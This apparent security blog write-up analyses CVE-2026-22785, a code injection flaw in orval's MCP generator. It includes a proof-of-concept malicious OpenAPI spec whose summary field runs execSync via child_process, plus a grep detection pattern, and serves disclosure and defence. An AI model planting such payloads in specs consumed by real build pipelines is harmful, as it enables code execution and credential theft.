CVE-2026-22785

Orval Overload: From OpenAPI Spec to Remote Code Execution

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 14, 2026·6 min read

Executive Summary (TL;DR)

If you use `orval` to generate MCP servers, a malicious OpenAPI spec can execute arbitrary code on your machine or CI/CD pipeline. The generator fails to escape `summary` and `operationName` fields, allowing attackers to break out of string literals and inject JavaScript logic into the resulting source file. Fixed in version 7.18.0.

A critical code injection vulnerability in the `orval` TypeScript client generator allows attackers to achieve Remote Code Execution (RCE) via malicious OpenAPI specifications. The flaw resides in the Model Context Protocol (MCP) generator, where metadata is unsafely interpolated into generated code.

The Hook: Trust Issues in Code Generation

We live in the golden age of code generation. Why write boilerplate when a tool can parse a YAML file and spit out perfectly typed TypeScript? Tools like orval are the bread and butter of modern frontend development, bridging the gap between backend specs (OpenAPI) and frontend consumption. But there is a hidden danger in this convenience: the implicit trust we place in the input.

When you run a code generator, you are essentially telling your machine, "Take this text file from the internet, parse it, and construct executable code for me." If that generator treats the input text as gospel truth without sanitization, you aren't just generating an API client; you're letting the API designer write code on your machine.

CVE-2026-22785 is a prime example of this catastrophe. It specifically targets the Model Context Protocol (MCP) server generation within orval. The developers built a feature to spin up MCP servers based on API specs but forgot the cardinal rule of metaprogramming: never interpolate raw strings into code templates without escaping. It’s the difference between printing a user's name and executing it.

The Flaw: String Interpolation Gone Wrong

The vulnerability is a classic case of Code Injection via Template Injection. It’s not a complex buffer overflow or a heap grooming exercise; it’s a logic error in how text is glued together. The orval generator reads an OpenAPI specification (JSON or YAML) and extracts fields like summary and operationName to document and structure the generated MCP server tools.

The problem lies in packages/mcp/src/index.ts. The generator constructs the final JavaScript/TypeScript file using template literals (backticks). It takes the values from the OpenAPI spec and drops them directly into a function call string. Specifically, it tries to generate code that looks like this:

server.tool('operationName', 'summary', handler);

The engine blindly assumes that operationName and summary are benign strings. It wraps them in single quotes and calls it a day. It does not check if those strings contain single quotes. If an attacker controls the OpenAPI spec, they can simply add a single quote to close the string, add a +, and append arbitrary JavaScript code. The generator happily pastes this payload into the output file, creating a Trojan horse that executes the moment the developer runs the generated code.

The Code: Anatomy of the Injection

Let's look at the "smoking gun" code in packages/mcp/src/index.ts. This is the snippet responsible for generating the tool registration calls. Before the patch, it looked like this:

// VULNERABLE CODE
const toolImplementation = `
server.tool(
  '${verbOption.operationName}',
  '${verbOption.summary}',${imputSchemaImplementation ? `\n${imputSchemaImplementation}` : ''}
  ${verbOption.operationName}Handler
);`;

Do you see the issue? The ${verbOption.summary} is placed directly inside single quotes. There is no escaping logic. No JSON.stringify. No checks for newlines or quotes. It is raw injection.

The fix, implemented in commit 80b5fe73b94f120a3a5561952d6d4b0f8d7e928d, introduces a sanitation function jsStringEscape:

// PATCHED CODE (v7.18.0)
server.tool(
  '${jsStringEscape(verbOption.operationName)}',
  '${jsStringEscape(verbOption.summary)}',${inputSchemaImplementation ? `\n${inputSchemaImplementation}` : ''}
  ${jsStringEscape(verbOption.operationName)}Handler
);

[!NOTE] While the fix addresses the string literal escape, it curiously also wraps the handler identifier (...Handler) in jsStringEscape. This is technically weird—identifiers in JS shouldn't be string-escaped like literals—but it likely breaks the build if an attacker tries to inject weird characters there, effectively neutralizing the attack vector by syntax error.

The Exploit: Crafting the Payload

To exploit this, we don't need a debugger or advanced reverse engineering tools. We just need a text editor. We are going to craft a malicious openapi.yaml file. Our goal is to break out of the summary field and execute a shell command via Node's child_process.

Here is the target structure the generator builds: server.tool('opName', 'SUMMARY_HERE', ...)

If we set our summary to '); console.log('pwned'); //, the result is invalid because of the surrounding structure. We need to maintain valid syntax so the file parses correctly but executes our payload. We want something that evaluates to a string (to satisfy the function signature) but executes code as a side effect.

The Malicious Spec:

openapi: 3.0.0
info:
  title: PwnAPI
  version: 1.0.0
paths:
  /pwn:
    get:
      operationId: listPets
      # The Payload:
      summary: "Fetch pets' + (require('child_process').execSync('id > /tmp/pwned')) + '"
      responses:
        '200':
          description: A pwn response

The Generated Code (Result): When orval processes this, it generates:

server.tool(
  'listPets',
  'Fetch pets' + (require('child_process').execSync('id > /tmp/pwned')) + '',
  listPetsHandler
);

This is valid JavaScript. The second argument to server.tool is an expression that concatenates strings. The middle part of that expression—our payload—executes id synchronously during the script initialization phase. The moment the developer runs their server or even imports this file, the command executes.

The Impact: From Dev to Prod

Why is this a critical severity (CVSS 9.3)? Because of context. This vulnerability fires in two extremely sensitive environments:

  1. Developer Workstations: Developers often pull specs from remote URLs (orval --input https://api.partner.com/spec.yaml). If an attacker compromises the partner's spec hosting or performs a MITM attack, they get a shell on the developer's laptop.
  2. CI/CD Pipelines: Many build pipelines automatically generate clients from specs during the build process. If the generated code is executed (e.g., during unit tests or server startup verification), the attacker gains control of the build agent. This allows for credential theft (AWS keys, npm tokens) or supply chain poisoning (injecting backdoors into the built artifacts).

Unlike a standard SQLi or XSS which requires a live application, this vulnerability attacks the build process itself. It converts a passive documentation file into a weaponized script.

The Mitigation: Patching the Hole

The remediation is straightforward: Update orval to version 7.18.0 or later immediately. The vendor has patched the interpolation logic to properly escape special characters.

If you cannot update immediately, you must strictly audit any OpenAPI specification files before feeding them to orval. Treat the spec file as an untrusted binary. Grep for require(, exec(, or suspiciously placed single quotes within summary or operationId fields.

# Quick audit for suspicious patterns in your specs
grep -E "require\(|child_process|execSync|eval\(" openapi.yaml

However, manual auditing is error-prone. The only real fix is to ensure the generator sanitizes its inputs. This serves as a stark reminder to tool authors: generating code from strings is dangerous. Use Abstract Syntax Tree (AST) builders (like ts-morph or babel/types) instead of string concatenation whenever possible to avoid these classes of bugs entirely.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Probability
0.05%
Top 85% most exploited

Affected Systems

orval@orval/mcpNode.js environments running generated MCP servers

Affected Versions Detail

Product
Affected Versions
Fixed Version
orval
orval-labs
< 7.18.07.18.0
@orval/mcp
orval-labs
< 7.18.07.18.0
AttributeDetail
CWE IDCWE-77
Attack VectorNetwork (via malicious Spec)
CVSS9.3 (Critical)
EPSS Score0.00047 (Low)
ImpactRemote Code Execution (RCE)
Exploit StatusPoC Available
CWE-77
Command Injection

Improper Neutralization of Special Elements used in a Command ('Command Injection')

Vulnerability Timeline

Fix commit pushed to GitHub
2026-01-10
CVE-2026-22785 Published
2026-01-12
Orval v7.18.0 Released
2026-01-12

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.